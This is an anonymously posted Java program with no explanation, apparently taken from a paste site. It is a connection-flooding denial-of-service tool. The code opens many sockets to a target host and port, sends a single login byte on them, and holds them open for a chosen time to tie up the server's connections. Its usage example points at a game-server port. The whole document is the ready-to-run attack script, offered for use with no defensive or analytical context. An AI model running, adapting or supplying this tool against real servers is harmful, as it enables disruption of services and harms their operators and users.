Anonymous

import java.nio.channels.SocketChannel;import java.nio.ByteBuffer;import java.net.InetSocketAddress;import java.io.IOException;import java.util.ArrayList;public class Main {	private static ArrayList< SocketChannel > channels;	private static int count = 100, port;	private static long keep = 60;	private static String host;	private static ByteBuffer login;		public static void main( String[] args ) {		if ( args.length < 4 ) {			System.err.println( "[e Usage: java Main <host> <port> <amount> <keep>]" );			System.err.println( "[e Example: java Main localhost 43594" );			return;		}		if ( args[1].matches( "\\d+" ) && args[2].matches( "\\d+" ) && args[3].matches( "\\d+" ) ) {			port = Integer.parseInt( args[1] );			count = Integer.parseInt( args[2] );			keep = Integer.parseInt( args[3] );		} else {			System.err.println( "[e Usage: java Main <host> <port> <amount> <keep>]" );			System.err.println( "[e Example: java Main localhost 43594 100 60" );			return;		}		host = args[0];		login = ByteBuffer.allocateDirect( 1 );		login.put( ( byte ) 14 );		login.flip( );		try {			channels = new ArrayList< SocketChannel >( count );			for ( int i = 0; i < count; i++ ) {				channels.add( i, openChannel( host, port ) );			}			for ( SocketChannel s : channels )				while ( !s.finishConnect( ) ) ;			for ( SocketChannel s : channels ) {				s.write( login );			}			Thread.sleep( keep * 1000 );			for ( SocketChannel s : channels )				s.close();		} catch ( IOException e ) {			// TODO - Act on specific messages			e.printStackTrace( );		} catch ( InterruptedException e1 ) {			// TODO - Nothing		}	}		public static SocketChannel openChannel( String host, int port ) throws IOException {		SocketChannel chan = SocketChannel.open( );		chan.configureBlocking( false );		chan.connect( new InetSocketAddress( host, port ) );		return chan;	}	}